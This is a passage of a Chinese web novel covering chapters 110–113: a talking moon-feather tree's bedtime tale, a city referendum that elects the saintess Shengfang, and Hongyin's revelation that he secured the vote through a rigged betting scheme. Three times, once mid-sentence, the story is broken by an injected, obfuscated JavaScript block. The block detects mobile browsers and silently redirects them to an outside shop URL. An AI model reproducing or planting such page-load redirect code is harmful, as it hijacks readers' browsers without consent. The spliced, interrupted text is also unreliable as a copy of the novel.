藏书馆将闭,除宏音外,其余人已陆续散去。夕阳余晖透过高窗,在积尘的书架间切出道道暖金色的光栅。我正欲上前,却瞥见室内还有滞留者——以及,那一狗一蛇。 情形有些微妙,我驻足未进。只见溟牙一脸嫌恶地拎着几日不见的焉耆的后颈皮,而焉耆嘴里,竟稳稳叼着那条脑袋仍缠着绷带、生无可恋般垂着的黑脊蛇——玄洛君。 “宏音大人,管好你家的小宠物。”溟牙的声音冷飕飕的,竖瞳里满是不耐,“放任那小胖妞在外胡闹便罢了,连这小狗也不管教?玄洛君本就因你们受了伤,好不容易寻个僻静处想补足冬眠,这狗倒好,藏一处它便刨一处,藏一处便刨一处!究竟意欲何为?!” 尾巴拽着我的发梢,光晕乱颤,几乎要笑出声,“我说焉耆跑哪儿野去了,原来是找‘新朋友’玩耍了。看来它们还挺投缘。” 宏音这才从书卷中抬起头,揉了揉因长久伏案而酸涩的眉心,说出来的话却险些让溟牙当场炸毛,“开个价吧。就当给焉耆寻个玩伴。” “它可是洛杨河镇主!” 宏音目光淡淡扫过我,将我招至身旁,语气平静得像在讨论天气,“焉耆亦非凡品。它的能耐,溟牙,你是见过的。配你们家这条蛇小姐,绰绰有余。” 我反应比溟牙更快,一个箭步上前,夺回焉耆,又将那软绵绵的黑蛇塞回溟牙手中,“开什么玩笑!”我耳根发热,声音不由得提高,“它们都不是一个物种,何况——何况,焉耆还是个幼崽!不可以,我不同意!” 待头顶冒烟的溟牙咬牙切齿拂袖而去,宏音唇角这才浮起一丝极淡的笑意,显然方才所言,多半是故意气那总板着脸的溟牙。 尾巴轻巧地跃上宏音面前摊开的书册,光晕凑近,忽而疑惑地“咦”了一声。我知道他在疑惑什么——我也同样不解,值此紧要关头,宏音竟还有闲心,钻研那一卷卷残旧的棋谱。 “怎么了?出去玩了一日,倒显得倦倦的。”宏音温热的手掌抚过我的脸颊,又顺手轻捏了一下尾巴的光团,“还是专程来接我回家?” “后天公投就结束了,”我望着宏音沉静的眼眸,“你真的一点都不着急么?” “怎么?”宏音合上棋谱,指尖轻轻捏了捏我的胳膊,声音低缓,“对自己亲手见证、并为之投下一票的‘圣女’,没有信心?” “我只是……” “别担心,照夜。”宏音打断我,眼神温和却笃定,“再等等。耐心些。” “……好吧。”我嘟囔着,莫名安下心来,“不知道为什么,总觉得你还挺靠得住的。” 宏音眉眼弯起,将蹭在他手边的尾巴轻轻递还给我,“能被依赖、被信任,才算是称职的‘爹爹’。”他站起身,袖袍拂过案几,“走吧照夜,一起回家。” 斜阳已沉至山脊,漫天铺开壮丽的火烧云,将原本悬浮空中、宛如粉玉的瑶扇仙城,镀上了一层辉煌而遥远的金边。那空中宫阙,无论看多少次,依然令人心生悸动。 宏音牵起我的手,藏于宽大的袖袍之下。难得未乘马车,就这么踏着渐起的暮色,缓步走在长长的朝月道上。虽历经变故,沿途的天翮城民见到他沉静的身影时,仍会不由自主地微微垂首,流露出自然而然的敬意。 一出藏书馆,焉耆便撒着欢儿跑没了影。尾巴趴在我肩头,懒洋洋道,“定是又去刨玄洛君的窝了。毕竟一同出生入死过,多少有些‘战友情谊’。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不想看看吗?天翮古族留给这些后来者的‘礼物’,究竟是何模样。” 一个声音,清越,悠远,仿佛自地脉深处传来,又似从头顶无垠的夜空飘落。 “想自然是想的……”我下意识地回答,话出口的瞬间,却如冰水浇头,全身寒毛倒竖!我猛地环顾四周——湖面平静,树影婆娑,半个鬼影也无! “你、你是谁?!出来!别……别装神弄鬼!”我声音发颤,腿脚已然软了。 那女声似乎带上了一丝极淡的笑意,依旧飘渺难寻,“抱歉,惊着你了。我以为……在你开始能与自己的仙力对话后,便不会讶异于听到我开口说话。抬头,我的初辉者,我的共岁者,我的——铸世者。” 我惊疑不定,依言缓缓仰起头。 只见月羽木低垂的一根枝条上,一片尤其硕大莹润的银白“羽翮”轻轻舒展,花瓣柔柔张开,如同邀请。未及反应,一股温和的力量便将我轻柔托起,离了地面,沿着巍峨的树干,一路向上,向上。 月羽花载着我,穿过笼罩树冠的薄薄夜雾,直至清冷的夜风呼啸着灌满我的衣袖,撩起我纷乱的发丝。脚下城池已缩成一片朦胧的光点,宛如倒置的星河。那托举我的花瓣才稳稳停住,悬浮在这寂静的高处。 “你……你是月羽木?”我声音干涩,几乎不敢相信。 “嗯。因你的仙力曾浇灌我的新生,我的呢喃,你自然得以听见。” “……”我用力掐了掐自己的脸颊,清晰的痛感证实着这并非梦境。 “呵,”那声音里笑意更明显了些,“同为我的‘铸世者’,阿僊当年……可不会这般惊诧。” “阿僊?你是说……太初僊?” “是呀。若论渊源,他……算是我的父亲呢。” 我放松下来,索性躺倒在柔软如云锦的花心,仰望着无月却星子细碎的深邃夜空,喃喃道,“天翮城还真是个奇怪的地方。盛放在这里找到了阿爹,宏音因为思念棠梨非要给我当爹爹,而你……你的父亲,居然是小初。” 111. 第111章 属于三千年前的睡前故事 真难想象,一棵树也会发出笑声。那笑声清润得像玉轮湖被风吹皱的第一道涟漪,“‘小初’……想必,他会喜欢你这个称呼。” 莫名的困意忽然如潮水般涌上,我身下这巨大的“羽翮”仿佛感知到了,轻轻收拢花瓣,如同最温柔的襁褓,一下下,极有韵律地轻拍着我的后背,恍若在哄我入睡。 “小月羽,”我眼皮发沉,含糊道,“讲个睡前故事吧……” “好呀,我的铸世者。那便听我讲一段……三千八百个春秋以前的故事吧。” 月羽木那仿佛由流动的月华与亘古时光织就的声音,在我耳畔幽幽响起,沉静,辽远,带着根系深扎大地的回响。 「听我说,我的第二位铸世者。」 「三千八百个春秋以前,翮山还没有我的影子。 那时,地火在岩脉深处翻身,像个不安宁的婴孩,在沉睡中蹙眉。 而在翮山书库最深的黑暗里,还蜷缩着一个更安静的‘孩子’—— 他叫太初僊,总抱着膝盖坐在冰冷的石板之间,呼吸轻得,像怕惊动了累积千年的尘埃。」 「仙力?呵,那时天地间飘浮的,不过是些无名的‘痒’,是温吞的‘暖’,是无人知晓其韵律的微风。 唯有他,在万籁俱寂中,从微风的缝隙里,听出了第一缕颤动的旋律…… 他伸出手指,将散漫游弋的光尘,耐心地捻成丝线;将虚无缥缈的暖流,小心翼翼地筑成渠岸—— 于是,这天地间第一缕被引导、被赋予形质的‘风’,在他苍白的掌心,怯生生地,开出了一朵银色的花。」 「后来啊,他把这朵稚嫩的花,轻轻拆成了两片最纯粹的花瓣。 一片,飞入了太初宇明朗舒展的眉间; 一片,落进了里那斯灼热澎湃的胸膛。 仙力,从此有了姓氏,有了迥异的脉搏……也终于,流向更广阔的天地。一缕奔向清峻的笔柱山,另一缕,融入了汹涌的长烬海。」 「而他,建仙界,著宝诰,立盟约,铸下镇守四极的禁仙椎……做完了一切‘该做’的事。 却在某个霜露未晞的清晨,脱下沉重的帝袍,仿佛卸下一场大梦。 他又变回那个怕见生人、不善言辞的少年,悄悄推开故乡书库那扇轰隆作响的沉重石门—— 仿佛门外那三百年的波澜壮阔、星移斗转,都只是石室内,一场被拉得太长、太长的梦。」 「直到那一天,他拂去某块蒙尘石板上最后的灰烬,看见了我。 那时,我还只是种子里一段蜷缩着的、冰凉的月光。 他却蹲下身,指尖虚悬在我之上,那双看尽了变迁的眼睛里,忽然亮起孩子般的光: ‘原来……你也在黑暗里,藏了这样久么?’」 「自那以后,他每天都来。对我说话,将那些磅礴而温润的仙力—— 像喂哺一只孱弱的雏鸟,一点,一点,渡进我沉寂的核。 我挣扎着抽出第一根新枝时,他的指尖在微微颤抖; 在我的根须即将刺入火山躁动心脏的前一刻,他俯身,轻轻对我说: ‘握紧些,再握紧些……从此以后,这座翮山,便有骨了。’」 「后来……他要走了。就像父亲终究要离开长大的孩子。 他倚着我已能遮蔽风雨的树干,刻下了最后一块石板,字迹深重。 然后,他的魂魄化作千缕皎洁的银辉,顺着我的枝桠,袅袅升向那轮月亮。 从此,每一个月华如水的夜晚,当清辉洒满我的叶片,我都觉得…… 是他,又踏着月光归来,静静地,为我浇灌。」 「故事,说完了……我的铸世者啊。」 「你看,每一个曾倾尽所有的浇灌者,最初,都不过是一颗孤独的种子。」 「而你此刻安眠时轻柔的呼吸里,也萦绕着他当年,留下的气息。」 「睡吧,睡吧……」 「今夜,我的根系会紧紧握住整座翮山——」 「就像很久很久以前,我曾那样努力地,握紧他递来的……第一捧春天。」 --------------------------------------------------- 决定天翮城未来命运的全民公投日当天,我竟睡得昏天黑地。直到包裹周身的柔软花瓣缓缓舒展,如潮水般汹涌的喧嚣与欢呼,才猛然灌入我耳中。 我揉着惺忪睡眼,迷迷糊糊地从那巨大的银色“羽翮”中探出头,望向下方玉轮湖畔——只见黑压压的人群如沸腾的海洋,无数手臂挥舞,声浪震天,人人脸上洋溢着激动难抑的红光。我有一瞬的迷惘,仿佛仍陷在那场清辉流淌的旧梦里。 随即,我摸了摸身下这朵托举我一夜、依旧散发着清幽冷香的花儿,又拽了拽怀里睡得七歪八扭的尾巴——可惜这家伙毫无反应,无法为我解答眼前的盛况。 如果记忆没有欺骗我……昨夜,身下这棵巍峨的月羽木,似乎开口说了话。它仿佛还为我讲述了一个关于起源、关于孤独、关于温柔浇灌的……了不得的睡前故事。 “照夜!” 熟悉的声音传来。我低头,只见宏音正静静伫立在玉轮湖澄澈的水面上,衣袂未湿,仰头望来。他眼中有一丝未能掩去的担忧,语气却依旧平稳,“不可夜不归宿。说过多少次,总不听。” “你可要接稳我哦。”我不再多想,纵身向下一跃。温暖的晨风瞬间包裹周身,在耳畔发出轻柔的呼啸。 宏音稳稳地将我接入怀中,甚至习惯性地掂量了一下我的重量,方才放下。他眉宇间带着五分嗔怪,三分释然,还有两分掩不住的轻快,“走吧。公投已经结束了。” 我紧紧抓住宏音的手掌,急不可待地低语,“我要告诉你一个大秘密!昨天晚上,月羽木开口说话了!它说……小初是它的父亲!是小初亲手栽种、日日浇灌了它!” 宏音脚步微顿,眼中掠过一丝讶异,随即化为温润的笑意,“自你身边多了条会说话的‘尾巴’,如今连月羽木也开口了么?这个故事……倒很有趣。”他略作沉吟,目光扫过远处欢腾的人潮,声音轻了些,“只是,据最古老的记载,月羽木首次现世,确是在太初僊仙逝之后。” “真相不是那样的!”我急切地分辩,将昨夜听闻的故事碎片尽力拼凑,“小初是因为……因为不擅与人交道,才假死脱身,将仙帝之位托付给了挚友太初宇。他自己则隐姓埋名,悄悄回到了天翮地底的书库,继续当他的藏书管理员!这些都是小月羽亲口告诉我的!” 宏音牵着我,沿朝月大道缓步下行,穿梭于摩肩接踵、喜气洋洋的人流中。他的声音在一片喧闹里异常清晰,“嗯……若如此,许多断裂的记载,倒真能圆融贯通了。还平添了几分宿命轮回的意味。”他侧首看我,眼中有光,“我很喜欢这个说法。” 当我还想继续诉说昨夜的奇遇时,所有的注意力却被广场中央的景象彻底攫取—— 那株由无极仙翁仙力构筑、用以昭示民意的透明“虚树”,此刻已被温润皎洁的月白光华彻底填满。光华流转,枝叶舒展,仿佛一棵真正的、焕发着蓬勃生机的月羽木,矗立在万千视线中央。 满了。近乎十成。 无数人在高呼,在跳跃,在热泪盈眶。人群的中心,被一次次高高抛起的,正是那一身简朴衣裙、脸色因激动而绯红的盛放。 我想,比起月羽木开口说话这样的“神迹”,眼前这由万千普通人共同缔造的、几乎不可能的集体选择,才堪称真正的、撼动人心的——奇迹。 虚树无言,却忠实铭刻了天翮族民最终的心声,他们选择了圣女,选择了盛放。即便他们已然知晓,圣女的传说始于虚妄,天翮的古脉早已断绝。 宏音静静立在一旁,望着这片欢腾的海洋,神色是一贯的平静,在此刻炽烈的氛围中,显得有些格格不入的深邃。今日,他未以聆月使或城主的身份立于高台,只是作为一名天翮族人,站在这里,见证由公投择出的“圣女”,将如何背负起这片土地被期许的未来。 “你这个家伙,照夜!”一个脑袋从人堆里灵巧地钻出,无悔脸上挂着夸张的讨好笑容,“你们粥铺走出了这么了不得的人物,你竟然不第一时间来道贺!”他凑近,压低声音,眼里闪着光,“不得不说,你这‘押注’的眼光,毒得很。” 尾巴立刻警觉地竖起光晕,暗自道,“这臭鲛人,怎么阴魂不散……” 话音未落,尾巴已先发制人,“嗖”地扑到无悔脸上,光晕糊了对方一脸。我叹了口气,深感无力——我身边究竟还有没有正常的人和……正常的“尾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549577|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴”? “哟,奇怪的人又聚到一处了。是臭味相投,还是说天翮城果真‘人才济济’呢?” 阴阳怪气的声音自身后传来。不用回头,也知是溟牙。对此,宏音面不改色,甚至颇为和悦地接下了这句“评价”,“很显然,溟牙仙人,是阁下……略显不合群了。” 溟牙警觉地环视四周,脸色蓦地一变,也顾不得维持那副冷傲姿态,用力攘开身边欢庆的人群,挤上前来,语气几乎有些气急败坏,“可恶!焉耆那小臭狗呢?!有完没完!又去刨玄洛君的窝了?!它到底想怎样?!” 无悔这种酷爱凑热闹的性子,哪里会放过这等八卦,他一把将试图“闷杀”他的尾巴揪下来丢还给我,撇撇嘴对溟牙道,“你不合群,你家那蛇小姐倒是有眼光。知道跟着照夜,准能捞着好处。” 不待溟牙反唇相讥,宏音已面带春风般温和却不容置疑的微笑,缓声道,“玄洛君与焉耆颇为投契,彼此相伴,甚是融洽。溟牙仙人,你这个‘父亲’……如今看来,倒是有些碍眼,且多余了。” 溟牙的脸色瞬间铁青,竟似有些破防,一路上都在低声咬牙切齿地念叨着“我反对”、“绝无可能”、“定要将它们拆散”……然而宏音恍若未闻,只是更紧地握住了我的手,目光投向远处那株光华流转的虚树,以及树下被众人簇拥的盛放,等待着他的未来。 瑶扇城,万林苑。无极、昆吾、瑶扇、星允、碎蝶皆在,除此以外,还有一位一直看热闹的魔族——原途。 溟牙完成了传话引路的职责,便默然退至渊寂身后。他忽然朝我极其迅速地眨了眨眼——我竟不知,一双冷血动物般的竖瞳也能灵活眨动出如此丰富的暗示。我只能硬着头皮,灰溜溜地挪回渊寂身侧。碎蝶正紧紧贴着自家师父站立,我便只得挤到了溟牙旁边。 “哟,”原途的声音带着惯有的戏谑,慢悠悠响起,“扮了数日父女,倒真演出了几分真情实感。宏音大人的癖好,还真是——”他刻意拖长了调子,“三界少见。” 宏音对外界的评价向来照单全收,他神色未变,只是微微颔首,语气坦然得近乎理所当然,“嗯,是的。虽相处不过数月,我已喜爱上了照夜这个好孩子。可以说——非常、相当、极其喜欢。” “够了,宏音。”昆吾上仙沉声打断,声如闷雷,“帝君召你前来,并非为听你这些无谓的狂言。你究竟用了何种手段,竟能操纵公投民意至此?” “回昆吾上仙,”宏音拱手,姿态恭敬,言辞却清晰笃定,“无极仙翁亲掌虚树,监察票选,公正严明。宏音区区一介下界城主,又岂有能耐,在仙翁法眼之下作伪?” 一旁的无极仙翁额头已渗出细密汗珠,他偷偷觑了一眼面无表情的渊寂,低声禀道,“帝君……仅从虚树感应与记录来看,票选过程与结果,确实……并无异状。” “我也能作证!”我连忙开口,声音在安静的林苑中显得有些突兀,“这几日宏音一直埋首藏书馆,半步未离。他绝无可能动手脚!这次公投,确实是天翮城所有百姓,心甘情愿,将他们认定的圣女圣司——盛放,选了出来!” “哎呀呀,”原途抚掌轻笑,目光在我和宏音之间逡巡,“果然是‘父女’情深,这么快便学会护短了。”他话锋一转,瞥向静立一旁的碎蝶,语气促狭,“碎蝶姑娘,你既不爱开口,不如将这靠近帝君的位置,让给这位……格外喜欢讲话的‘小八’?” “罢了。”渊寂终于抬了抬手,一个简单的动作便让周遭私语戛然而止。他目光平静地扫过众人,最终落在宏音身上,声音听不出喜怒,“既为万民共举,吾便承认此女圣女之位。然,历来天翮城之主,皆由圣女兼任。宏音,尔之职司,至此已毕。去将新任圣女请来。” “是。谨遵帝君之命。”宏音躬身领命,姿态无可挑剔。 林苑中的空气微妙地凝滞着。等待宏音去请盛放的间隙,我百无聊赖,踱到一池灵气氤氲的莲池边,看锦鲤曳尾。碎蝶慢悠悠接近我,上来便递来一句狠话,“你最好睁着眼睛睡觉,我要弄死你。” 尾巴探出个脑袋,撇撇嘴道,“乖乖,好大的醋味。” 我心头一紧,连忙后退两步,与碎蝶拉开距离,生怕再中那防不胜防的幻术,“你!我还没跟你算账!你窃取天翮密藏,还差点将我们所有人害死在地底!” 112. 第112章 所谓“民意”的残酷真相 这个眼神灰蒙蒙的褐发女子蔑笑一声,扯下一朵花,在掌心中碾碎,只见那碎屑竟变成了一把亮晶晶的幻鳞粉,“只要是师父想要的东西,我都会为他夺来。你最好小心点。” 可恶,渊寂座下的弟子,没一个是好东西。 一想到接下来的一段日子都要捏着鼻子与这帮人为伍,我心里就打退堂鼓。不行,为了见到穆青,眼下唯有忍耐。 这笔账,先记下。 不多时,盛放随宏音而至。虽面容难掩连日疲惫,甚至眼下带着淡淡青影,但她脊背挺直,双眸清亮,目光扫过在场诸位仙魔时,已无半分昔日彷徨,只余一片沉淀下来的、磐石般的坚毅。 盛放上前,向渊寂行了一个无可挑剔的、庄重而不卑不亢的大礼。 渊寂懒懒抬手,示意盛放起身,语调平缓,“圣女圣司,尔等之志,吾已亲见。既为天翮万民所选,从今日起,这天翮城——便交予你了。” “谢帝君成全。”盛放的声音清晰平稳,不见激动,唯有责任在肩的沉静,“天翮一族,上下必谨守本分,追随帝君,恪尽职守。” 盛放略作停顿,目光扫过一旁的宏音,继续道,“此外,盛放尚有一事需禀明帝君。如今天翮城内,聆月使、守约卿、信女掌事三职皆缺,恐政务运转滞涩,引发动荡,亦有碍于同仙魔两界协办事宜。故此,我提议,由我一路走来最坚定的支持者——浩哥、阿烈,以及熟悉月教事务的彤宝姑姑,暂代此三职。如此,在宏音大人卸任后,政务可平稳过渡,不至生乱。” 盛放的话语条理分明,思虑周详,已初具一城之主的格局。 “至于前任信女掌事月终,”盛放的语气稍稍转冷,带着不容置疑的决断,“待其伤愈,我自会以城主之身,依据天翮律例与仙律,予以其应得之惩处。” 渊寂静静听着,唇角微扬,露出一丝难以捉摸的淡笑。“你既为一城之主,此类内务,自行裁决便是。”他略一颔首,算是应允,随即目光转向一旁垂手而立、仿佛已与眼前事务无关的宏音,又落回我身上。 “照夜,”语气随意得像在指派一件小事,渊寂吩咐道,“送送你这位‘阿爹’。余下之事,他不必参与了。” 不知不觉,夕阳已至,将远天染成一片熔金般的火海,炽烈的光影流淌在瑶扇城晶莹的楼阁与蜿蜒的长廊上。宏音的脚步踏在光洁如镜的白玉地面上,好似从未如此轻快过。 他终于卸下了过去担在肩上的四重枷锁,棠梨的父亲、天翮城的城主、天翮族的聆月使,以及听从祖训守护天翮古族秘密的守墓人。 今天开始,他只要成为宏音就可以了。 “心里……会不会有一点难过?”我望着宏音比往日舒展太多的眉宇,轻声问。 宏音停下脚步,望向天边那轮正在沉入山峦的巨大落日,金色的余晖为他的侧脸镀上温暖的轮廓。他转回头,含笑看着我,伸手摸了摸我的脸颊,又轻轻捏了捏趴在我发顶、同样安静聆听的尾巴。 “总会有一丝不舍,些许担忧,”宏音的声音平和如晚风,“但,不会难过。” “你放心,”我认真道,“盛放、浩哥、阿烈,还有彤宝姑姑,他们会照看好天翮城的。” “嗯。”宏音颔首,目光温柔,“多谢你,照夜。” 我咧嘴一笑,与宏音并肩坐在瑶扇城边缘高耸的玉栏上,脚下是万丈云霞与逐渐点亮的凡间灯火,“谢我什么?谢我让你重温了当‘爹爹’的感觉么?” “谢你,”宏音注视着我的眼睛,笑意加深,“为天翮族,带来了一位真正称职而坚韧的‘圣女’。” 我笑起来,指向下方那片朦胧在暮色中的广阔城池,“这个功劳,可该归于全体天翮城民呢。” 宏音轻轻揉了揉我的后脑勺,眼中的笑意却渐渐沉淀为一种深不见底的、略带慨叹的明澈。 “照夜啊,”宏音的声音压得很低,几乎融入了渐起的夜风里,“这世上……何来真正坚不可摧、凭空而生的‘集体意志’?能够驱策万千人心、缔造所谓‘奇迹’的,除了缥缈的信仰,往往还有另一种,更为直接而强大的力量——” 宏音顿了顿,一字一句,清晰无比: “利益。” 夜色的轻纱正缓缓笼罩天际,星辰尚未完全苏醒。在这片安宁的暮色里,宏音用他那平缓而清晰的语调,向我与尾巴,徐徐揭开了一场惊天“奇迹”之下,那深埋于地脉般幽暗处的—— 真相。 让我们把时间……拨回到我异想天开,企图用‘野生’闪光稻为盛放与环琛‘打榜’,操纵初赛结果的时候。 那时,我不知道月泉司早已备下百万闪光稻作为正规选票。我的“小聪明”被视为作弊,投票被取消。而也正是在那时,月泉司在宏音的授意下,举行过第一次看似公正的“公投”。 紧接着,让我们再回忆一下,我与无悔为了给大铁棘准备加强版醉仙酒,初次拜访钱太多时看到了情景吧。 没错。那场从一开始就笼罩在敷衍与荒诞氛围下的圣女选拔,其触角早已悄然伸入最世俗的欲望泥潭——地下盘口。当时赔率最高的,并非众望所归的绛霞,而是那个看似毫无胜算、背负污名的“法外狂徒”——盛放。 赌徒在下注。那么,坐庄的人,是谁呢? 是的,正是宏音本人。 接下来,宏音向我讲述了,他是如何操纵着全体城民,走向一条仅有唯一选择的路,形成了这看似不可能形成的——集体意志。 宏音深知,在纯粹的声望与情感上,绛霞的地位几乎不可动摇。他必须创造一个更原始、更强大的驱动力,去扭曲甚至重塑这股洪流。这个动力,便是即将到手却可能瞬间蒸发的大量财富。 他利用自己数百年积累的无形权威与对地下世界的掌控力,悄然成为天翮城最大赌局的唯一庄家。对外公布的初始赔率基于民调——绛霞胜,赔率低至尘土;盛放胜,赔率高入云霄。 极高的赔率,天然吸引着渴望暴富的赌徒与投机者。而在“民意”层面,许多原本未必支持盛放的人,也会因押注了她而下意识地希望她赢,甚至在公开场合为其造势。这便是为何初赛时,盛放的票数虽落后,却并未被绛霞拉开难以逾越的差距。 但这还不够。 在发动第一次全民投票时,在宏音的授意下,所有投票者都会被秘密派发一份额外的免费赠礼——“彩金凭证”。 所有参与投票者,皆可不用本金参与地下赌博,向盛放投上一份不会有损失的赌注。这世上还有这等好事?风险为零,收益却可能无限大,因彼时,盛放的赔率已高达一比七十。也就是说,只要盛放当选,便可凭此证,按一赔七十的惊人赔率兑付利衡币。 可想而知,不会有人错过这样的好事。 不仅如此,深谙人性的宏音还在操纵着盛放的赔率进一步升高,以催生城民心中那点“赌意”。 是的,在看到盛放赔率高得离谱后,许多城民开始动用真实本金跟注,希望博取更大收益,此举更使得盛放的赔率进一步走高,为这场全民豪赌推波助澜。 秒的是,宏音深知仙界不会任由圣女选拔大赛成功举办,便在最初,就给这免费的彩金凭证设至了一道堪称保险的——兑付条件,以此绑定民意和民心。 所有赌约,无论是免费凭证还是真实下注,都必须遵循以下规则:本次圣女选拔之结果,须获得仙界正式认可并最终生效,赌约方可兑现。 换言之,如果仙界以“民意不真”、“程序不公”为由,否定整个选拔,那么所有押注在盛放身上的财富幻梦,将瞬间化为泡影。 于是,在决定圣女制度存废的最终公投上,每一个持有“彩金凭证”或真实下注的城民,面前都摆着一个再清晰不过的选择: 投票支持圣女制度即承认本次选拔有效,便是捍卫自己即将到手的、可能改变生活的巨额财富。 投票反对或弃权,则意味着亲手撕碎那张已握在手中的“彩票”,任由财富凭空蒸发。 在如此直接、庞大且与个人息息相关的经济利益面前,任何对旧时代的怀念、对绛霞的偏好、甚至对仙界威压的恐惧,都变得苍白而无力。所谓的“民意”,被巧妙地置换为对财富损失的切肤恐惧,与对获利机会的本能捍卫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549578|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因此,在无人胁迫、亦无证据能指摘作弊的最终公投中,成千上万只手,在按下选择时,都不由自主地、坚定地投向了“支持”一侧。他们未必都真心拥戴盛放,也未必都认同新的制度,但他们绝对、彻底地拥护自己那份即将兑现的“彩金”。 “照夜,能够凝聚人们集体意志的,不是意志本身,而是利益” 宏音的声音终于停下,融入完全降临的夜色。他望着远方天翮城星星点点的灯火,那里有狂欢,有满足,也有尚未来得及细想的未来。 我和尾巴久久沉默。震惊之后,一种复杂难言的凉意与叹服交织着升起。 我们终于明白,那些日子里宏音为何能如此气定神闲;也终于懂得,宏音当初在渊寂面前提议“由万民决定未来”时,那份从容不迫的底气从何而来。 宏音早已将整座城池每一个人的“利益”,与天翮城不肯低头、必须选出自己“圣女”的“命运”,牢牢捆缚在了一起,沉入了同一条奔涌的河流。 最终,公投以近乎完美的票数,支持了那场荒诞的选拔结果。天翮城再次迎来了一位无法令月翮壁发光的圣女,而所有人,都心甘情愿地选择了——继续这场宏大而精密的“幻梦”。 是啊,能够凝聚人们集体意志的,不是意志本身,而是利益。 看来,信仰月亮,信仰圣女,还是信仰一个虚构的过去……或许真如无悔所言,真的不那么重要了。 这场盛况空前、为三界瞩目的圣女选拔大赛,最终以宏音卸去城主与聆月使之职,并输掉一笔天文数字的赌金而落幕。然而,他也以此完成了自己最初那近乎执拗的心愿—— 不曾如此轻易地,将天翮城拱手让人。 宏音让盛放凭借那份“无可争议”的民意登上高位,成为一位连仙界也不得不承认的合法城主,代替他,接过了守护这片土地、履行那古老誓约的重担。他所损失的每一枚利衡币,都化作了巩固这个结果最坚不可摧的基石。 所谓信仰,所谓民意,其冰冷而坚实的真相,大抵便是如此了。 最先发出感慨的是尾巴,他光晕明灭,幽幽叹道,“罢了……输给这样的‘棋友’,我心服口服。” 而我关心的问题则现实得多,“宏音,你……真拿得出那么多钱吗?到底损失了多少?” 宏音只是轻声一笑,那笑容里没有半分阴霾,反倒有种如释重负的轻松,“大约,七十八亿利衡币。” 我眼前一黑,几乎以为自己产生了幻听。这个可怕的天文数字,我连做梦都不敢想象。 “那你岂不是……变得一无所有了?”我拽了拽宏音的衣袖,努力让语气显得可靠些,“也罢,我虽然也挺穷,但混口饭吃总还行。实在不行……你先跟着我吧。” 闻言,宏音站起身,舒展了一下仿佛卸去千斤重担的腰身。他仰头望向正从天际缓缓覆下的墨蓝夜色,随后回身,俯下身子,将微凉的脸颊极轻地贴了贴我的侧脸,眼中的笑意几乎要满溢出来,比暮色中的第一颗星辰更亮。 “那,这段时间就拜托你了,照夜。”宏音的声音低柔,“顺便一提,并非变得一无所有。我啊……再次拥有了一个可爱又善良的好孩子。” 宏音直起身,揉了揉我的头发,“早点回家,照夜。你答应过我,不会夜不归宿。”夜风拂过宏音额前的碎发,他的目光沉静而深邃,仿佛盛着整个春天复苏的温柔与生机。 “我啊,可以失去所有财富,失去虚妄的信仰,失去曾经拥有的每一个身份……”宏音顿了顿,双手捧住我的脸,一个温热而郑重的吻,轻轻落在我的额心。接着,他也没有忘记我头顶那团紧张的光晕,同样温柔地“吻”了一下尾巴,“……唯独,不可再失去这份——失而复得的欣喜。” 尾巴竟然“嗖”地一下,整团光晕都羞窘得缩进了我的衣襟深处,只敢探出一点点边缘,偷偷地瞄着宏音。我倒淡定许多,仰着脸笑道,“小青会喜欢你的。但你不能亲他,我会吃醋。” “嗯,”宏音从善如流地点头,眼中却掠过一丝只有我能懂的锐色,“你倒是想多了。如果他敢辜负你,我会先——好好揍他一顿。” 113. 第113章 直到夜色完全笼罩瑶扇城,那场决定仙魔两界未来关系的重要商议才告结束。率先走出的原途,依旧试图“顺便”将我拐回映山都,但他也心知肚明,我绝不可能随他离开——我还要去找我的穆青。 向原途转达了妖兽们希望被收编的意愿后,我也从他口中听来了一些额外的结果。其实,最终的协议可以用一句话概括: 由新任城主盛放负责主持,修建跨越天险“死人沟”的架空隧道;仙魔两界正式恢复通商,而天翮城,将成为双方共同认可的中立通商口岸。 此外,盛放还提出了一个关乎生存的要求,因气候剧变,化西、天翮两地作物受损严重,希望魔界能共享“两倍大山芋”的改良种植技术。对此,原途想都未想便一口应允——毕竟在曾资源匮乏的魔界,如何提高种植效率、让子民吃饱肚子,本就是他们钻研了百年的课题。分享让人不饿肚子的技术,无需任何权衡。 至此,仙魔两界在百年前那场惨烈征战之后,借由这场荒诞又辉煌的圣女选拔之机,重修旧好,再缔盟约。 谷阿翁与游山需回魔界复命,环琛则执意要带着仍被裹成“粽子”、无法言语的大铁棘,随兄长原途返回映山都。一来,大铁棘伤势恢复缓慢,需请青石沟的昆仑兽以唾液疗伤镇痛;二来,关于环琛私自“定下终身”之事,几位兄长还需“慎重商议”。对此,环琛虽满心不情愿,但眼下想与粽子般的偶像私奔,实在困难,只得暂且听话。 